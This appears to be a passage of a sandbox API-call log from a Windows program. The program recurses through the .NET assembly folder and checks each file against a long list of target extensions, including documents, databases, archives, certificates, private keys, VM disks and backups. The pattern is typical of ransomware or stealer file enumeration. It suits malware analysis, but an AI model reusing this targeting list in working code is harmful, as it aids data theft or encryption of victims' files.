PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.dbx") returned 0 [0099.456] lstrlenA (lpString="*.dbx") returned 5 [0099.456] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.sql") returned 0 [0099.456] lstrlenA (lpString="*.sql") returned 5 [0099.456] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.mdb") returned 0 [0099.456] lstrlenA (lpString="*.mdb") returned 5 [0099.456] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.fdb") returned 0 [0099.456] lstrlenA (lpString="*.fdb") returned 5 [0099.456] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.wab") returned 0 [0099.456] lstrlenA (lpString="*.wab") returned 5 [0099.456] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.dat") returned 0 [0099.456] lstrlenA (lpString="*.dat") returned 5 [0099.456] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.txt") returned 0 [0099.456] lstrlenA (lpString="*.txt") returned 5 [0099.456] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.jpeg") returned 0 [0099.456] lstrlenA (lpString="*.jpeg") returned 6 [0099.456] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.jpg") returned 0 [0099.457] lstrlenA (lpString="*.jpg") returned 5 [0099.457] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.png") returned 0 [0099.457] lstrlenA (lpString="*.png") returned 5 [0099.457] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.php") returned 0 [0099.457] lstrlenA (lpString="*.php") returned 5 [0099.457] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.cs") returned 0 [0099.457] lstrlenA (lpString="*.cs") returned 4 [0099.457] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.cpp") returned 0 [0099.457] lstrlenA (lpString="*.cpp") returned 5 [0099.457] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.rar") returned 0 [0099.457] lstrlenA (lpString="*.rar") returned 5 [0099.457] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.zip") returned 0 [0099.457] lstrlenA (lpString="*.zip") returned 5 [0099.457] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.html") returned 0 [0099.457] lstrlenA (lpString="*.html") returned 6 [0099.457] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.htm") returned 0 [0099.457] lstrlenA (lpString="*.htm") returned 5 [0099.457] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.xlsx") returned 0 [0099.457] lstrlenA (lpString="*.xlsx") returned 6 [0099.457] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.xls") returned 0 [0099.457] lstrlenA (lpString="*.xls") returned 5 [0099.458] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.mp4") returned 0 [0099.458] lstrlenA (lpString="*.mp4") returned 5 [0099.458] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.ppt") returned 0 [0099.458] lstrlenA (lpString="*.ppt") returned 5 [0099.458] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.pptx") returned 0 [0099.458] lstrlenA (lpString="*.pptx") returned 6 [0099.458] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.doc") returned 0 [0099.458] lstrlenA (lpString="*.doc") returned 5 [0099.458] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.dot") returned 0 [0099.458] lstrlenA (lpString="*.dot") returned 5 [0099.458] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.docx") returned 0 [0099.458] lstrlenA (lpString="*.docx") returned 6 [0099.458] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.7z") returned 0 [0099.458] lstrlenA (lpString="*.7z") returned 4 [0099.458] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.tar") returned 0 [0099.458] lstrlenA (lpString="*.tar") returned 5 [0099.458] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.bz2") returned 0 [0099.458] lstrlenA (lpString="*.bz2") returned 5 [0099.458] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.gz") returned 0 [0099.458] lstrlenA (lpString="*.gz") returned 4 [0099.458] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.mkv") returned 0 [0099.459] lstrlenA (lpString="*.mkv") returned 5 [0099.459] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.eml") returned 0 [0099.459] lstrlenA (lpString="*.eml") returned 5 [0099.459] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.msg") returned 0 [0099.459] lstrlenA (lpString="*.msg") returned 5 [0099.459] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.edb") returned 0 [0099.459] lstrlenA (lpString="*.edb") returned 5 [0099.459] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.accdb") returned 0 [0099.459] lstrlenA (lpString="*.accdb") returned 7 [0099.459] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.odb") returned 0 [0099.459] lstrlenA (lpString="*.odb") returned 5 [0099.459] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.java") returned 0 [0099.459] lstrlenA (lpString="*.java") returned 6 [0099.459] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.asm") returned 0 [0099.459] lstrlenA (lpString="*.asm") returned 5 [0099.459] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.pfx") returned 0 [0099.459] lstrlenA (lpString="*.pfx") returned 5 [0099.459] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.pem") returned 0 [0099.459] lstrlenA (lpString="*.pem") returned 5 [0099.459] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.p12") returned 0 [0099.459] lstrlenA (lpString="*.p12") returned 5 [0099.460] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.gpg") returned 0 [0099.460] lstrlenA (lpString="*.gpg") returned 5 [0099.460] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.vsd") returned 0 [0099.460] lstrlenA (lpString="*.vsd") returned 5 [0099.460] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.odg") returned 0 [0099.460] lstrlenA (lpString="*.odg") returned 5 [0099.460] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.raw") returned 0 [0099.460] lstrlenA (lpString="*.raw") returned 5 [0099.460] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.nef") returned 0 [0099.460] lstrlenA (lpString="*.nef") returned 5 [0099.460] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.svg") returned 0 [0099.460] lstrlenA (lpString="*.svg") returned 5 [0099.460] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.psd") returned 0 [0099.460] lstrlenA (lpString="*.psd") returned 5 [0099.460] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.vmx") returned 0 [0099.460] lstrlenA (lpString="*.vmx") returned 5 [0099.460] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.vmdk") returned 0 [0099.460] lstrlenA (lpString="*.vmdk") returned 6 [0099.460] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.vdi") returned 0 [0099.460] lstrlenA (lpString="*.vdi") returned 5 [0099.460] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.lay6") returned 0 [0099.461] lstrlenA (lpString="*.lay6") returned 6 [0099.461] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.mpeg") returned 0 [0099.461] lstrlenA (lpString="*.mpeg") returned 6 [0099.461] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.djvu") returned 0 [0099.461] lstrlenA (lpString="*.djvu") returned 6 [0099.461] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.tiff") returned 0 [0099.461] lstrlenA (lpString="*.tiff") returned 6 [0099.461] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.backup") returned 0 [0099.461] lstrlenA (lpString="*.backup") returned 8 [0099.461] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.pdf") returned 0 [0099.461] lstrlenA (lpString="*.pdf") returned 5 [0099.461] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.cert") returned 0 [0099.461] lstrlenA (lpString="*.cert") returned 6 [0099.461] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.docm") returned 0 [0099.461] lstrlenA (lpString="*.docm") returned 6 [0099.461] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.xlsm") returned 0 [0099.461] lstrlenA (lpString="*.xlsm") returned 6 [0099.461] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.dwg") returned 0 [0099.461] lstrlenA (lpString="*.dwg") returned 5 [0099.461] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.nd") returned 0 [0099.461] lstrlenA (lpString="*.nd") returned 4 [0099.462] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.tlg") returned 0 [0099.462] lstrlenA (lpString="*.tlg") returned 5 [0099.462] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.lgb") returned 0 [0099.462] lstrlenA (lpString="*.lgb") returned 5 [0099.462] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.mov") returned 0 [0099.462] lstrlenA (lpString="*.mov") returned 5 [0099.462] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.xdw") returned 0 [0099.462] lstrlenA (lpString="*.xdw") returned 5 [0099.462] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.ods") returned 0 [0099.462] lstrlenA (lpString="*.ods") returned 5 [0099.462] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.wav") returned 0 [0099.462] lstrlenA (lpString="*.wav") returned 5 [0099.462] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.mp3") returned 0 [0099.462] lstrlenA (lpString="*.mp3") returned 5 [0099.462] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.aiff") returned 0 [0099.462] lstrlenA (lpString="*.aiff") returned 6 [0099.462] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.flac") returned 0 [0099.462] lstrlenA (lpString="*.flac") returned 6 [0099.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.m4a") returned 0 [0099.465] lstrlenA (lpString="*.m4a") returned 5 [0099.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.csv") returned 0 [0099.465] lstrlenA (lpString="*.csv") returned 5 [0099.465] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x587e0ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x587e0ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x587e0ed0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0099.465] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0099.465] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x587e0ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x587e0ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x587e0ed0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="900~1.0__")) returned 0 [0099.465] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0099.465] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa310a250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa310a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa310a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x39762e72, dwReserved1=0x642e302e, cFileName="Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0", cAlternateFileName="MIF861~1.0")) returned 1 [0099.465] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0") returned -1 [0099.465] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0") returned -1 [0099.465] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0099.465] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0") 